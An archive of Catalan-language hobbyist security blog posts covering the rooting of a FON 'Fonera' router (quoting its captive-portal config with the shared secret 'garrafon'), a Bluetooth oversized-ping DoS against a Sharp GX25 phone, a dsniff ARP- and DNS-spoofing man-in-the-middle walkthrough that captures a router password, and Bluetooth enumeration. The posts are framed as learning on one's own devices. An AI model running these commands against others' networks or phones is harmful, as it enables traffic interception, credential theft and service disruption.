Archive for Hacks

Hackejant la Fonera

Ahir m’arribà la fonera, per a qui no sapiga el que és, la fonera apart de ser un sistema de cal·lefacció exel·lent (se calfa moolt). és el router social de fon, també conegut amb el nom FON2100A, no parlaré del hardware que dú ja que en moltes webs està i si busqueu un poc trobareu anàlisis molt ben fets.

Me L’enviaren amb l’últim firmware (lògic), cosa que no m’agradà en el moment que vaig vore que el codi que havien tret per a conseguir executar codi desde el formulari de la pàgina de configuració per a habilitar el ssh no funcionaba..

Vaig trobar aquest que si que anava amb l’últim firmware:

Pas1_fonera Pas2_fonera

El primer obri el firewall i el segon executa el servidor ssh “dropbear”. Guardeu-los com a html i executeu-los localment, reviseuel codi en cas de gastar una ip diferent a la fonera.
Al conseguir acces ssh instantani vaig haver de modificar els arxius del firewall de la fonera i crear un enllaç simbolic per a que iniciara dropbear (el servidor ssh de la fonera)..

Després vaig modificar el arxiu thinclient.sh per a desabilitar que la fonera es conecte a fon i que aquest puga executar codi en aquesta.. si soc paranoic, però jo no em fie.. a més a més no vull que em tanquen el ssh i vull modificar els arxius de configuració al meu gust..

Ja l’he convertit en bridge i ara la wifi privada enllaça amb la lan, també he estat jugant amb iwconfig per a canviar el ssid de la wifi pública, ja que fon li fica un FON_lateuassid en compte del nom que jo vulga..

Ara estic amb el chilli.conf, ahi està la clau..

radiusserver1 radius01.fon.com radiusserver2 radius02.fon.com radiussecret garrafon dhcpif eth1 uamsecret garrafon uamanydns uamallowed www.martinvarsavsky.net,www.google.com,www.flickr.com,

static.flickr.com,video.google.com,216.239.51.0/24,66.249.81.0/24

uamallowed www.fon.com,www.paypal.com,www.paypalobjects.com,www.skype.com

,66.249.93.0/24,72.14.207.0/24,72.14.209.0/24,84.96.67.128/24,213.91.9.0/

24,80.118.99.0/24 uamallowed shop.fon.co.kr,secure.nuguya.com,inilite.inicis.com uamserver https://login.fon.com/afe102fa83a80baec712e966d7d1f061/cp/index.php

Així es com funciona el portal captiu de fon, amb chillispot, segurament montare un chillispot i més serveis per a la wifi en una debian en trasto2, un poc millor que en un trasto amb 8mb de ram ;)

em dona igual el que diga fon de tot açò, jo tinc un aparell que és meu i tinc el dret de saber com funciona i modificar-lo, estic aprenent com funciona la fonera, és una cosa d’aquelles que no hi ha manuals d’on aprendre i s’ha de ser autodidacta i llegir bastant.

La fonera gasta sotware lliure i al estar basat en openwrt no és difícil obtindre informació.. però no m’ha agradat res el que ha fet fon, posarli drm per a que no pugues ficar-li un firware no signat digitamlent per fon.. així que si finalment dd-wrt soporta la fonera supose que s’haurà de carregar fent mil i una històries..

Tranquils fon, que la fonera tindrà un bon ús en quan haja explotat totes les seues possiblitats, tranquils que serà públic, pero revolució de veritat, no com la que vosaltres anuncieu, la revolució de plenar de números un negoci disfraçant-lo de comunitat wifi.. es molt bona idea, ho reconec, però opine que hi ha millors ;)

Happy hacking ;)

PD: si vos interessa el tema passeu-vos per la web: http://fonera.q3.nu/

Feu un comentari

Traducció del bug del Gx25

Acabe de escriure la traducció al castellà de l’entrada que vaig escriure quan la fallada del sharp gx25.
Per si algú no ho entén..

Traducción al castellano del documento escrito sobre el fallo de softreset de un sharp gx 25

Per a descarregar:
Obrir en Html
Proximament disponible en Pdf
Salutacions / Saludos ;D

Feu un comentari

Bug Bluetooth D.O.S. en un mòbil Sharp GX25

Després de que ahir em publicaren la traducció al castellà de jugant amb bluetooth II a la web de Bluehack, m’he animat una altra vegada amb el Bluetooth, després de passar-me el matí llegint sobre com les coses han avançat en pocs mesos (que han avançat bastant) en una casualitat de la vida, he descobert una vulnerabilitat Dos (de denegació de servei) del mòbil Sharp GX25 al ser-li enviat un paquet de ping mooolt gran per Bluetooth. ;)

Més concretament, el atac es paregut al famós “ping de la mort” aquella vulnerabilitat que tenien els molts sistemes antics en la qual si s’enviava un paquet “echo” molt gran podia provocar la penjada del sistema, això fa molt de temps que està resolt.. però qui ho anava a pensar, la història es repeteix..

Estava navegant en una web sobre bluetooth quan he vist un exemple on apareixia l2ping, al vore que era una ferramenta per a fer pings, he pensat que podria comprovar si el ping pujava conforme s’allunyava el telèfon… he fet alguns pings perà he volgut provar si el telèfon es tornaria lent al fer-li pings pesats ja que un telèfon com aquest com podeu comprovar no té una gran capacitat i normalment tenen característiques molt limitades..

Primer he fet un hcitool scan per a veure la adreça hexadecimal del telèfon..

vicent@ferrervicent:~$ hcitool scan

Scanning …

08:00:1F:85:4F:A1 GX25.D

Acte seguit he dirigit el l2ping cap a la adreça del telèfon:

vicent@ferrervicent:~$ sudo l2ping 08:00:1F:85:4F:A1

Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 44) …

0 bytes from 08:00:1F:85:4F:A1 id 0 time 128.62ms

0 bytes from 08:00:1F:85:4F:A1 id 1 time 51.11ms

0 bytes from 08:00:1F:85:4F:A1 id 2 time 49.90ms

0 bytes from 08:00:1F:85:4F:A1 id 3 time 76.45ms

0 bytes from 08:00:1F:85:4F:A1 id 4 time 78.75ms

0 bytes from 08:00:1F:85:4F:A1 id 5 time 48.18ms

0 bytes from 08:00:1F:85:4F:A1 id 6 time 56.75ms

0 bytes from 08:00:1F:85:4F:A1 id 7 time 56.02ms

0 bytes from 08:00:1F:85:4F:A1 id 8 time 36.44ms

0 bytes from 08:00:1F:85:4F:A1 id 9 time 52.51ms
Send failed: Connection reset by peer

Això era un ping normal, el telèfon seguia en vida… el que no entenc és perque sempre al cap d’uns segons talla la conexió.. és una cosa que ja passava quan vaig escriure Jugant amb bluetooth 1 i 2..

He mirat com gastar l2ping:

vicent@ferrervicent:~$ sudo l2ping

l2ping – L2CAP ping

Usage:
l2ping [-i device] [-s size] [-c count] [-t timeout] [-f]
<bdaddr>

Aleshores?, que pasaria si fem un:

vicent@ferrervicent:~$ sudo l2ping -s 50000 08:00:1F:85:4F:A1

Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 50000) …

no response from 08:00:1F:85:4F:A1: id 0

He ficat 50000 per ficar un valor arreu, tampoc sabia en quines unitats era ni res, aixina que es pot dir que han sigut bastants coincidències juntes… (despres he sabut que 50000 era una animalada…) :P

Pero vos preguntareu que li passa al telèfon al fer el ping ;)

Exactament això:

Com podeu vore al video, el mòbil es queda inactiu i no respon durant uns segons, parant tota operació que s’estiguera fent en el moment, (una cridada per exemple).. el mòbil torna a funcionar en uns segons…

Hi ha que tindre en compte que 50000 bits per a un ping… és bastant, el ping típic en l2ping és de 44.. :o

Per a fer una prova he provat a fer un ping normal (per xarxa ethernet) cap al Router amb el mateix tamany.. el cas es que el router no s’ha immutat però no m’ha contestat el ping.. això es el que hauria de fer el telèfon per a protegir-se… no desconnectar-se (no pareix molt bona tècnica)… ;)

Altre detall, es pot observar que conforme es va pujant el tamany del paquet de ping la contestació és mes llarga..

44 > de 47 a 96 ms (és el ping estàndard en l2ping)

500 > 76ms

1000 > de 139 a 169 ms

1500 > de 195 a 230 ms

1850 > de 231 a 246 ms

També he fet una prova de anar allunyant-se però la diferència és mínima i no pot ser mesurada amb precisió ja que els mateixos pings tenen molta diferència entre si.

No descarte fer una ampliació i millora de l’article en cas de que a la gent li interese el tema.

De moment soles ho he probat en aquest mòbil, algú s’anima a provar-ho en el seu? :D


EDITE 14/9/06:

Ahir per la nit vaig trobar que el bug SI estava documentat.. no per a aquest mòbil en concret sino que éra una clase d’atac a dispositius blutooth que ja estava documentada, l’atac s’anomena bluesmack. I es un bug del dispositiu en questió, no del protocol bluetooth.

… i jo que hem creia que havia descobert un bug nou… :( pero realment si, perque ningu avans havia probat aquest bug contra un sharp gx25 [si algu l'ha trobat, no l'ha ficat en internet].. aixina que al menys l’he descobert contra el sharp gx25 :D

Edite20/9/06:

Article enllaçat a tuxmobil.org.

Feu un comentari

Atac arp & spoof dns.

Anem a fer un atac mitjançant la tècnica coneguda com “Man in the Middle” o home en el mig. Potser per internet hi ha molts manuals sobre açò, pero jo vaig a fer el meu basant-se en la meua experiència, i animant a tot el que ho probe a comentar la seua.
L’objectiu d’aquest atac és demostrar que una xarxa local típica no és segura i que amb poques ferramentes i poc temps d’aprenentatge es possible extraure dades que viatgen per la xarxa en protocols no encriptats, ademés que aquest tipus d’atac és bastant dificil de detectar i parar si no es té coneiximent adecuat.

Aquest article està destinat a aquells usuaris (locals) i administradors que vulguen probar la seguretat de la seua pròpia xarxa i/o que tinguen intenció de desenvolupar tècniques per a estar preparats contra aquest tipus d’atacs, en ningun moment incite a provar-lo fora de la vostra xarxa, ja que podeu donar un mal de cap a mes d’un administrador i ademés no és molt étic espiar trafic sense permis.. i supose que serà il·legal ,així que, avisats esteu.

Com he comentat, la técnica utilitzada sera la de man in the middle. Aquesta te un funcionament bastant simple, hem de tindre primer una base de teoria de xarxes per a entendre aquest conceptes, així que abans de llegir aquest article, convindria repasar:

Una vegada dominats mes o menys aquestos temes (no fa falta saberho de memòria, simplement saber que és cada cosa i un poquet com funciona).

Segurament és te el mite de que una xarxa amb switchos és segura.Val, mes segura que amb hubs és, però pregunte: Absolutament segura?
Per a qui no ho sapiga, un switch (conmutador) té la diferència fonamental respecte a un hub de que actua en diferents capes de xarxa.. Els elements de una xarxa s’organitzen en capes, així, la capa 1 és la física (cables, conectors) la 2 la d’enllaç, la 3 la de xarxa.. etc etc..
Un hub actua com a repetidor de senyal,(és un enllaç físic) es a dir, envia les dades a TOTS els cables que te conectats, pero sols l’agafa l’ordinador al que van dirigides les dades… Un Switch en canvi fa de conmmutador, actua com si fora un entramat d’interruptors i envia cada paquet sols per el cable corresponent a la direcció mac de desti.

Fins ahi la teoria tot bé… Pero que passa si fem creure a un ordinador que nosaltres som el router, i fem creure al router que nosaltres som el ordinador victima?

Ahi es on entra el nostre paquet de ferramentes DSNIFF. En aquest cas he fet totes les probes sota una Ubuntu Linux dapper com a equip atacant, un Window$ 2000 sp4 com a equip victima, i un Linksys BEFSR41 com a router.
D’ara en endavant seràn, atacant, victima i router.

  • Atacant serà: 192.168.1.100
  • Victima serà: 192.168.1.101
  • Router serà: 192.168.1.1

En la primera part de l’atac anem a fer que el trafic de xarxa es desvie per el ordinador atacat i que el ordinador victima no es done compte de la situació. Partim del cas de que el ordinador victima està tranquilament navegant per internet.. pertant hem de preparar-ho tot per a que no note ninguna caiguda en el servei o si ho nota que siga mínima.
Ens fa falta: que el “atacant” done internet a “victima”, pertant el “atacant” farà de porta d’enllaç de la “victima”, encara que “victima” es creurà que seguix tinguent al router com a porta d’enllaç.

El que jo he fet ha sigut fer un redireccionament de ip, conegut com a ip fowarding, aixi a primera vista sona com molta cosa, pero realment és: Compartir el internet.

En ubuntu linux es fa de la seguent forma:

vicent@ferrervicent:/$ sudo echo "1" > /proc/sys/net/ipv4/ip_forward

si estiguerem en protocol ipv6 seria canviar ipv4 per ipv6, si no sas de que va, dixaho com està. Per a desactivar-lo canvia el “1″ per un “0″.

En aquest moment atacant està compartint conexió a internet. Hem de pensar bé la situació i tindre en compte moltes coses com per exemple que cara el proxy de xarxa o porta d’accés real qui estarà entrant a internet serà atacant, pero realment serà victima a través de atacant.. es soles una cosa a tindre en compte.

Val, ja estém compartint internet fins ara realment no hem fet res.. a continuació ens disposarem a començar l’atac a la taula arp de la victima. Recorde per als bagos, que convé saber algo de teoria de arp primer.

Farem creure a l’equip victima que la direcció mac del equip atacant correspon a la ip del router. i al router que la ip del victima correspon a la mac del atacant.

vicent@ferrervicent:/$ sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1

En la forma:
arpspoof -i (interfície de xarxa) -t (ip_victima) (ip_router)
En aquest moment arpspoof començarà a enviar paquets malignes a la xarxa per a corrompre el arp i la consola donara algo paregut a d’açò:

0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
etc...

A l’equip victima no te perque haver ningun problema, creurà que atacant es el router.. pero ho creurà per la direcció mac, la direcció ip de la porta de enllaç continuarà sent la del router..

Una vegada aci ja podem dir que hem conclós el atac amb éxit, estem fent d’intermediari entre router i victima i per tant tot el trafic passa per nosaltres.. pero encara no tenim resultats.. faré una xicoteta mostra del que es pot fer, pero millor si gasteu la imaginació i inventeu les situacions possibles..

Podem enverinar les solicituds dns: amb dnsspoof podem redirigir noms de domini que busque l’ordinador victima fins a les ip que nosaltres vulguem.. jo per exemple he fet una copia de google en un servidor apache local, he creat el arxiu noms.hosts que conté:

192.168.1.100 *.google.com
192.168.1.100 google.com
192.168.1.100 *.google.es

És a dir, tot els subdominis de google.com/.es aniran redirigits a 192.168.1.100, on he instalat un apache i he fet una copia del html de google pero amb les imatges canviades…
I al executar dnsspoof:

root@ferrervicent:/home/vicent# dnsspoof -i eth0 -f noms.hosts

En quant la petició dns desde l’equip victima es realitze, en la nostra consola veurem coses com les seguents, ahi demana els dns a un servidor dns de internet i posteriorment validarà amb el arxiu (noms.hosts) i enviarà allò que convinga..

dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.100]
192.168.1.101.1306 > 62.42.230.135.53: 60923+ A? client.voipbuster.com
192.168.1.101.1308 > 62.42.230.135.53: 15610+ A? www.google.com
192.168.1.101.1311 > 62.42.230.135.53: 56060+ A? minijuegos.com
192.168.1.101.1321 > 62.42.230.135.53: 14079+ A? connectiontcp1.voipbuster.com

El resultat que veu el equip victima és aquest:

google

Com podem observar l’usuari de equip victima no notarà res estrany que no siga la modificació de les imatges que corresponen al nom de google.. bé i alguna cosa més.
Val, per a comprovar si ho heu entés, que passaria si ficarem en el arxiu noms.hosts el seguent:

192.168.1.100 *.*

:D

Hem de tindre en compte també que per a que aquest enverinament de la solicitud dns siga satisfactori el equip victima ha de tindre els servidors dns’s com a automàtics o els mateixos que la porta d’enllaç, en el cas de que la xarxa tinguera un servidor dns dedicat diferent de la porta d’enllaç, es podria fer altre enverinament de taula arp pero en la segona ip posariem la ip del servidor dns… bé tot açò és ampliació..

Pero deixem-se de tonteries com la del google i anem a coses mes series.. Que podriem fer?.. podem possar un sniffer i fer captura de tràfic… en poques paraules: sabrem tot lo que la màquina victima envia i rep de internet sempre que no siga tràfic encriptat (protocol https o ssh entre altres)
Pertant desactivarem el dnsspoof de moment.
Per a que siga més gràfic fare un sniff de tràfic amb Ethereal encara que amb tcpdump es pot fer igualment.. pero ho he fet amb Ethereal perque és gràfic i de segur que el trobeu més fácil d’entendre.

Ethereal

Com podeu observar tenim ací mooolt de trafic de xarxa (he capturat uns 3mb en pocs segons) , si l’analitzem veurem bastants coses, però això ja ho deixe per a que ho comproveu vosaltres mateixos.

De moment anem a capturar una contrasenya facileta va.. conectarem el dsniff.

Comprovat que la contrasenya de autentificació de el navegador cau (la tipica contrasenya de carpetes privades del apache..) en aquest cas és la de autentificació del router.

accedint al router

Supose que seguiré algun dia amb coses un poquet mes avançades de Dsniff (i més interesants).. que vos pareix capturar totes les contrasenyes de protocols no encriptats de forma fácil o simular una pàgina segura creant un certificat de xifrat pero en realitat agafar tot el tràfic? tècnica pareguda a fer un “monkey in the middle” i fer de repetidor de conexions ssh… i Dsniff te ferramentes per a tot això..

De moment sigau bons i no gasteu aquestos coneiximents per a fer mal eh? segur que algú ja estarà pensant en aplicacions “no étiques” de dsniff…

Salut i linux.

Feu un comentari

Servidor trasto llest

Per fi he trobat una memòria ram bona per a “trasto” un “nou” servidor jejeEs un pentium triton a 200mhz amb 64mb de ram i 3,4gb de disc per al sistema i dades (de moment, ja que li ficare un altre disc per a dades).. també té una tarjeta de xarxa 10/100 i que mes dir.. que ha estat tot fet a partir de peces del fem… De moment no te pila i m’ha tocat ficarli ntp per a que sincronitze amb un servidor d’hora a internet cada vegada que arranca…
Amb Debian sarge Gnu/linux trasto ja es altra cosa…

vicent@ferrervicent:~$ ssh 192.168.1.101 -l root
Password:
Last login: Sat Jul 29 20:57:01 2006 from 192.168.1.100
trasto:~# uname -a
Linux trasto 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i586 GNU/Linux
trasto:~#

He estat fent probes amb apache 1.3 i apache2 i en pagines estatiques be.. quan parlem de mysql i php ja la cosa no va tan fina…

De moment té un “Apache/2.0.54 (Debian GNU/Linux) PHP/4.3.10-16″ un mysql 4.0.24 i phpMyAdmin 2.6.2.. en estos moments instalant drupal ;)

Feu un comentari

Jugant amb el bluetooth – II

Anem a fer un sniff de la conexió per bluetooth, per a vore un poquet millor com funciona…

Per a fer el sniff gastarem el HCI sniffer, una vegada instalat s’executa amb hcidump com a root

Partim del pas de que hem assolit els continguts de “Jugant amb el bluetooth I” el primer que anem a fer serà arrancar el hcidump:

vicent@ferrervicent:~$ sudo hcidump HCI sniffer – Bluetooth packet analyzer
ver 1.28 device: hci0 snap_len: 1028 filter: 0xffffffff

Això és el missatge que ens dona nomes arrancar, es poden fer variacions en els parametres de hci dump consultant l’ajuda, es a dir, fent un “man hcidump

He probat algunes opcions i encara que tenen la seua utilitat (reenviar les dades o canviar els modes de visualització -ascii, hex, etc..- ) jo de moment no ho vaig a gastar…

Una vegada el sniffer en marxa probem a crear trafic en la xarxa (enviar una petició de autentificació desde el mobil per exemple) i podrem comprovar, que efectivament escolta el trafic.

> HCI Event: Connect Request (0×04) plen 10
< HCI Command: Accept Connection Request (0x01|0x0009) plen 7
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: PIN Code Request (0×16) plen 6
< HCI Command: PIN Code Request Reply (0x01|0x000d) plen 23
> HCI Event: Command Complete (0×0e) plen 10
> HCI Event: Link Key Notification (0×18) plen 23
> HCI Event: Connect Complete (0×03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
> HCI Event: Page Scan Repetition Mode Change (0×20) plen 7
> HCI Event: Max Slots Change (0×1b) plen 3
> HCI Event: Command Complete (0×0e) plen 6
< HCI Command: Change Connection Packet Type (0x01|0x000f) plen 4
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: Connection Packet Type Changed (0×1d) plen 5

Ademés com podem observar diferència entre el que ix i el que entra de una forma bastant bona.. per als curiosos, en la linia 4 i 5 es demana i s’acepta la contrasenya de autentificació de la conexió…

i pasats uns segons automaticament el mobil envia una petició de desconexió..

> HCI Event: Disconn Complete (0×05) plen 4

Cosa que no acabe d’entendre ja que en el mobil està posat que no es desconecte, pero bé…

Ara que ja hem vist un poquet com es comunica bluetooth (tot açò ho dic fruit de la experiència de anar probant, en ningun moment he estudiat teoria de bluetooth).. anem a fer una conexió desde l’ordinador al mobil i fer probes de cobertura, açò ho farem amb el comandament “hcitool” (que hem vist a Jugant amb el bluetooth – I), gastant la opció “hcitool cc” per a conectar i “hcitool lq” per a vore l’estat de la senyal.

Arrancarem el HCIdump per a vore tambe que es el que passa…

fem un:

vicent@ferrervicent:~$ sudo hcitool cc 08:00:1F:85:4F:E1

i a continuació podem vore al HCIdump com la conexió té exit.

vicent@ferrervicent:~$ sudo hcidump
HCI sniffer – Bluetooth packet analyzer ver 1.28
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0×0f) plen 4
> HCI Event: Link Key Request (0×17) plen 6
< HCI Command: Link Key Request Reply (0x01|0x000b) plen 22
> HCI Event: Command Complete (0×0e) plen 10
> HCI Event: Connect Complete (0×03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
> HCI Event: Page Scan Repetition Mode Change (0×20) plen 7
> HCI Event: Command Complete (0×0e) plen 6
> HCI Event: Max Slots Change (0×1b) plen 3

I passa com avans.. que al poquet de rato (de no gastarlo realment) es desconecta.. serà per a no gastar tanta bateria i supose que en cada acció es farà automàticament una proba de conexió i es reconectarà en cas de que s’haja desconectat.. pero no em feu cas.. son suposicions meues..

Seguim amb el tema de la cobretura, la cobertura es mesura per la ordre “hcitool lq” com he dit avans, pertant si ho executem correctament:

vicent@ferrervicent:~$ sudo hcitool lq 08:00:1F:85:4F:E1
Link quality: 255

Obervem com ens ha tret la màxima qualitat de senyal (el mobi està a la part davantera de la torre i el emisor a un usb de darrere)

i HCIDump ens mostra evidentment que ixa petició de mostra de cobertura ha tingut lloc:

< HCI Command: Read Link Quality (0x05|0x0003) plen 2
> HCI Event: Command Complete (0×0e) plen 7

He fet varies proves posant el mobil cada vegada en una posició diferent i executant cada vegada la ordre per a conectar i la ordre per a mirar la senyal.
Visió directa:

  1. Al costat o mig metre > 255
  2. 2 metres mes o menys > 255
  3. 4 metres mes o menys > 247
  4. 6 metres amb poca visibilitat > 212

(no he probat més perque pase de menejar l’ordinador de lloc)
Sense visió directa:

  1. A l’altra banda de la torre > 255
  2. En la pantalla per el mig > 254-220
  3. Baix la taula (torre dalt) > 255
  4. Dins una vitrina amb visió directa > 255
  5. A 3 metres i una porta de cristal amb camara > 190
  6. A l’escala de casa > ja no conecta
  7. A 4 metres i una paret entre mig > tampoc

No ho sé segur pero per l’experiència es pot deduir que el bluetooth gasta un espectre de frequència bò per a curtes distàncies pero en llargues distàncies es veu molt afectat.. i sobretot si hi ha objectes per el mig..

Espere que haja sigut del vostre interes aquest capitol 2 de “jugant amb el bluetooth”, fins aci ha sigut tot, com el nom indica un joc, pero per a les coses que duc en ment explicar en els proxims numeros hauré de mirarme la documentació un poquet mes…

Comentaris (2)

Jugant amb el bluetooth – I

He gastat bluetooth i linux ampliament pero sempre desde mode gràfic, com que vull saber un poc mes com funciona intentaré gastarlo desde consola jugant amb els comandes de bluez-utils, una serie de ferramentes lliures destinades a la creació de aplicacions que gasten bluetooth..

Primer intentaré vore quin és el meu dispositiu de conexió bluetooth, es un conceptronic bluetooth de 40 metres de radi. (està clar que el mobil no aguanta ni 10…)

vicent@ferrervicent:~$ hciconfig -a
hci0: Type: USB
BD Address: 00:80:5A:46:21:67 ACL MTU: 384:8 SCO MTU: 64:8
UP RUNNING PSCAN ISCAN
RX bytes:1544 acl:7 sco:0 events:57 errors:0
TX bytes:560 acl:5 sco:0 commands:32 errors:0
Features: 0xff 0xff 0×8f 0xfe 0×9b 0xf9 0×00 0×80
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: ‘ferrervicent-0′
Class: 0×3e0100
Service Classes: Networking, Rendering, Capturing
Device Class: Computer, Uncategorized
HCI Ver: 2.0 (0×3) HCI Rev: 0×7a6 LMP Ver: 2.0 (0×3) LMP Subver: 0×7a6
Manufacturer: Cambridge Silicon Radio (10)

Com podem observar ens dona bastant informació sobre el caxarret, ademés podem vore que el fabricant real es “Cambridge Silicon Radio” i no “Conceptronic” (son coses normals en el mon del hardware…)..

Com que ja sabem prou coses sobre la interfície bluetooth anem a vore que podem fer..

vicent@ferrervicent:~$ hcitool
hcitool – HCI Tool ver 2.24
Usage:
hcitool [options] [command parameters]
Options:
–help Display help
-i dev HCI device
Commands:
dev Display local devices
inq Inquire remote devices
scan Scan for remote devices
name Get name from remote device
info Get information from remote device
cmd Submit arbitrary HCI commands
con Display active connections
cc Create connection to remote device
dc Disconnect from remote device
sr Switch master/slave role
cpt Change connection packet type
rssi Display connection RSSI
lq Display link quality
tpl Display transmit power level
afh Display AFH channel map
lst Set/display link supervision timeout
auth Request authentication
enc Set connection encryption
key Change connection link key
clkoff Read clock offset
clock Read local or remote clock

For more information on the usage of each command use:
hcitool –help

Vejam que les posibilitats son bastant amplies… :)

Escanejarem en busca d’algun dispositiu…

vicent@ferrervicent:~$ hcitool -i hci0 scan
Scanning …
08:00:1F:85:4F:E1 GX25.D

I que tenim aci? un mobil.. ” 08:00:1F:85:4F:E1″ es la direcció bluetooth, en hexadecimal com podeu observar, i GX25.D es el nom del dispositiu…

Ja sabem que existix, pero … que podem fer amb això, moltes vegades ens trobarem davant d’un dispositiu bluetooth i subestimarem les seues posibilitats.. pertant, anem a escanejar el mobil en busca de posibles serveis que oferix…

vicent@ferrervicent:~$ sdptool browse 08:00:1F:85:4F:E1
Browsing 08:00:1F:85:4F:E1 …
Service Name: OBEX Object Push
Service RecHandle: 0×10001
Service Class ID List:
“OBEX Object Push” (0×1105)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 4
“OBEX” (0×0008)
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“OBEX Object Push” (0×1105)
Version: 0×0100

Service Name: Serial Port
Service RecHandle: 0×10002
Service Class ID List:
“Serial Port” (0×1101)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 5
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100

Service Name: Dial-up networking
Service RecHandle: 0×10003
Service Class ID List:
“Dialup Networking” (0×1103)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Dialup Networking” (0×1103)
Version: 0×0100

Service Name: Voice gateway
Service RecHandle: 0×10004
Service Class ID List:
“Headset Audio Gateway” (0×1112)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Headset” (0×1108)
Version: 0×0100

Service Name: Voice gateway
Service RecHandle: 0×10005
Service Class ID List:
“Handfree Audio Gateway” (0×111f)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 2
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Handsfree” (0×111e)
Version: 0×0101

Com podem observar admitix transferència de fitxers (OBEX Object Push), conexió com si fora per port de serie (Serial Port), gastar el mobil com a modem de l’ordinador (Dial-up networking), conectarli dispositius de veu (Voice gateway) que apareix com a 2 dispositius diferents…

I fins aci ha estat el capitol 1 de “jugant amb bluetooth” espere en pròxims posts anar investigant sobre les possibilitats del bluetooth i anar aconseguint alguna cosa més….

Feu un comentari